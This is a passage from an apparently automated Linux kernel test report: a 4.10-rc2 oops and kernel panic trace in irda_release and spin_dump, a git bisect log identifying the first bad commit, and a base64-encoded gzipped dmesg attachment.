[   20.921155]  ? lock_sock_nested+0x32/0xa8
[   20.921698]  _raw_spin_lock_bh+0x48/0x8e
[   20.922185]  ? lock_sock_nested+0x32/0xa8
[   20.922679]  lock_sock_nested+0x32/0xa8
[   20.923156]  ? rcu_read_unlock+0x1f/0x1f
[   20.923645]  lock_sock+0xa/0xc
[   20.924104]  irda_release+0x3e/0x1f8
[   20.924564]  ? __might_sleep+0xb0/0xce
[   20.925035]  sock_release+0x32/0xa9
[   20.925528]  sock_close+0x10/0x14
[   20.925960]  __fput+0x199/0x2b1
[   20.926378]  ____fput+0xd/0xf
[   20.926785]  task_work_run+0x8a/0xb1
[   20.927240]  do_exit+0x5e4/0xddc
[   20.927678]  ? up_read+0x1b/0x2d
[   20.928104]  do_group_exit+0x103/0x103
[   20.928576]  SyS_exit_group+0x16/0x16
[   20.929038]  do_fast_syscall_32+0x11f/0x15b
[   20.929592]  entry_SYSENTER_32+0x53/0x86
[   20.930074] EIP: 0xb77a6b05
[   20.930460] EFLAGS: 00000296 CPU: 0
[   20.930910] EAX: ffffffda EBX: 00000000 ECX: 0000002d EDX: b779d8ac
[   20.931593] ESI: 00000000 EDI: 00000001 EBP: bf83ea78 ESP: bf83e98c
[   20.932274]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[   92.620508] BUG: spinlock lockup suspected on CPU#0, trinity-main/395
[   92.622020] BUG: unable to handle kernel NULL pointer dereference at 000002b0
[   92.622801] IP: spin_dump+0x75/0xb5
[   92.623363] *pdpt = 0000000000000000 *pde = f000ff53f000ff53 
[   92.623370] 
[   92.624362] Oops: 0000 [#1]
[   92.624843] Modules linked in:
[   92.625348] CPU: 0 PID: 395 Comm: trinity-main Not tainted 4.10.0-rc2-00001-gad21fc4 #1
[   92.626257] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.9.3-20161025_171302-gandalf 04/01/2014
[   92.627526] task: df212380 task.stack: df074000
[   92.628088] EIP: spin_dump+0x75/0xb5
[   92.628607] EFLAGS: 00010206 CPU: 0
[   92.629128] EAX: 000003b8 EBX: 00000028 ECX: fffff031 EDX: 000003b5
[   92.629805] ESI: df7dc050 EDI: 00000001 EBP: df075e18 ESP: df075df4
[   92.630582]  DS: 007b ES: 007b FS: 0000 GS: 00e0 SS: 0068
[   92.631233] CR0: 80050033 CR2: 000002b0 CR3: 1f20b9e0 CR4: 00000630
[   92.631912] DR0: b7254000 DR1: 00000000 DR2: 00000000 DR3: 00000000
[   92.632744] DR6: fffe0ff0 DR7: 00000600
[   92.633217] Call Trace:
[   92.633577]  do_raw_spin_lock+0x157/0x173
[   92.634132]  _raw_spin_lock_bh+0x7d/0x8e
[   92.634725]  ? lock_sock_nested+0x32/0xa8
[   92.635217]  lock_sock_nested+0x32/0xa8
[   92.635709]  ? rcu_read_unlock+0x1f/0x1f
[   92.636316]  lock_sock+0xa/0xc
[   92.636734]  irda_release+0x3e/0x1f8
[   92.637186]  ? __might_sleep+0xb0/0xce
[   92.637720]  sock_release+0x32/0xa9
[   92.638272]  sock_close+0x10/0x14
[   92.638709]  __fput+0x199/0x2b1
[   92.639125]  ____fput+0xd/0xf
[   92.639576]  task_work_run+0x8a/0xb1
[   92.640128]  do_exit+0x5e4/0xddc
[   92.640555]  ? up_read+0x1b/0x2d
[   92.641029]  do_group_exit+0x103/0x103
[   92.641585]  SyS_exit_group+0x16/0x16
[   92.642115]  do_fast_syscall_32+0x11f/0x15b
[   92.642628]  entry_SYSENTER_32+0x53/0x86
[   92.643135] EIP: 0xb77a6b05
[   92.643618] EFLAGS: 00000296 CPU: 0
[   92.644091] EAX: ffffffda EBX: 00000000 ECX: 0000002d EDX: b779d8ac
[   92.644778] ESI: 00000000 EDI: 00000001 EBP: bf83ea78 ESP: bf83e98c
[   92.645610]  DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[   92.646218] Code: 24 0c c7 44 24 08 00 00 00 00 89 54 24 04 89 4c 24 10 c7 04 24 93 ac 48 c2 e8 60 b0 09 00 85 db 8b 4e 08 74 0e 8d 83 90 03 00 00 <8b> 93 88 02 00 00 eb 08 83 ca ff b8 52 57 4f c2 89 44 24 0c 8b
[   92.648209] EIP: spin_dump+0x75/0xb5 SS:ESP: 0068:df075df4
[   92.648824] CR2: 00000000000002b0
[   92.649253] ---[ end trace f9b7cb6d4c53cb0b ]---
[   92.649793] Kernel panic - not syncing: Fatal exception in interrupt

                                                         # HH:MM RESULT GOOD BAD GOOD_BUT_DIRTY DIRTY_NOT_BAD
git bisect start 24bbf5a0db07b308f3e183442c6e9a18b2ff37e2 c470abd4fde40ea6a0846a2beab642a578c0b8cd --
git bisect  bad 297fff9e5ae39fdc244396ab480b0b064db401fa  # 16:26  B     40     6    0  49  Merge 'linux-review/Sebastian-Reichel/dt-bindings-Add-vendor-prefix-for-Motorola/20170305-035036' into devel-spot-201703051016
git bisect  bad 42e9ae034908a4bab0056d8249d5c8a41e11391a  # 16:31  B    115     6    0  73  Merge 'linux-review/fgao-ikuai8-com/netfilter-nat_masquerade-Check-oom-when-invoke-nfct_nat/20170305-070948' into devel-spot-201703051016
git bisect  bad c2850e62b2e2bdf0eabbe41b4123979234094c7c  # 16:31  B    121     5    0  67  Merge 'pinchartl-media/drm/du/vsp-race' into devel-spot-201703051016
git bisect good 941138d45b408fa61d0a15789b7f854126c66dfe  # 16:36  G    751     0    0   0  Merge 'acpi/turbostat' into devel-spot-201703051016
git bisect  bad e8762b16e576e81d32d39d5a559d5cde82ce38c1  # 16:36  B    124    17    0  96  Merge 'pinchartl-media/drm/next/du' into devel-spot-201703051016
git bisect  bad b2064617c74f301dab1448f1f9c8dbb3c8021058  # 16:37  B    132     3    0  57  Merge tag 'driver-core-4.11-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core
git bisect  bad 1e74a2eb1f5cc7f2f2b5aa9c9eeecbcf352220a3  # 16:42  B     74    10    0 108  Merge tag 'gcc-plugins-v4.11-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux
git bisect good fd4a61e08aa79f2b7835b25c6f94f27bd2d65990  # 16:42  G    751     0    0   0  sched/core: Fix build paravirt build on arm and arm64
git bisect good c9341ee0af4df0af8b727873ef851227345defed  # 16:42  G    751     0    0   0  Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security
git bisect good 5ab356626f3cf97f00280f17a52e4b5b4a13e038  # 16:42  G    751     0    0   0  Merge tag 'pinctrl-v4.11-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl
git bisect good 974eadf1fc4f9bd0e9da686e7ba6c3e4e708fc45  # 16:42  G    751     0    0   0  [media] lmedm04: make lme2510_powerup a little smaller
git bisect good ff58d005cd10fcd372787cceac547e11cf706ff6  # 16:42  G    751     0    0   0  Merge tag 'media/v4.11-1' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media
git bisect good 97a229f90731894f46b85c20bcc1842f4a63cb78  # 16:42  G    751     0    0   1  Merge tag 'dmaengine-4.11-rc1' of git://git.infradead.org/users/vkoul/slave-dma
git bisect good 01f2901a264d954d3985e8bce1bf637ae52d4918  # 16:42  G    751     0    0   0  ahci: qoriq: report error when ecc register address is missing in dts
git bisect good 6d1dd93ea0d0f0fb61b5450a2668896028ce3f75  # 16:42  G    750     0    0   1  Merge tag 'pstore-v4.11-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux
git bisect  bad 7bb033829ef3ecfc491c0ed0197966e8f197fbdc  # 16:42  B    119    12    0 113  Merge tag 'rodata-v4.11-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux
git bisect good 4c5d7bc63775b40631b75f6c59a3a3005455262d  # 16:42  G    751     0    0   0  usercopy: Add tests for all get_user() sizes
git bisect  bad 0f5bf6d0afe4be6e1391908ff2d6dc9730e91550  # 16:42  B    142     5    0 173  arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
git bisect  bad ad21fc4faa2a1f919bac1073b885df9310dbc581  # 16:47  B    731    11    0 649  arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
# first bad commit: [ad21fc4faa2a1f919bac1073b885df9310dbc581] arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
git bisect good 0c744ea4f77d72b3dcebb7a8f2684633ec79be88  # 18:16  G    901     0    0   3  Linux 4.10-rc2
# extra tests on HEAD of linux-devel/devel-spot-201703051016
git bisect  bad 24bbf5a0db07b308f3e183442c6e9a18b2ff37e2  # 18:17  B     32     4    0  21  0day head guard for 'devel-spot-201703051016'
# extra tests on tree/branch linus/master
git bisect  bad c1ae3cfa0e89fa1a7ecc4c99031f5e9ae99d9201  # 18:17  B    342    42    0 372  Linux 4.11-rc1
# extra tests on tree/branch linux-next/master
git bisect  bad 9d51244afbfc61134c05e02f789d3aa2eaca2da0  # 18:17  B    353    31    0 369  Add linux-next specific files for 20170306

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/lkp                          Intel Corporation

--=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="dmesg-quantal-lkp-hsw01-20:20170306132653:i386-randconfig-i1-201710:4.10.0-rc2-00001-gad21fc4:1.gz"

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
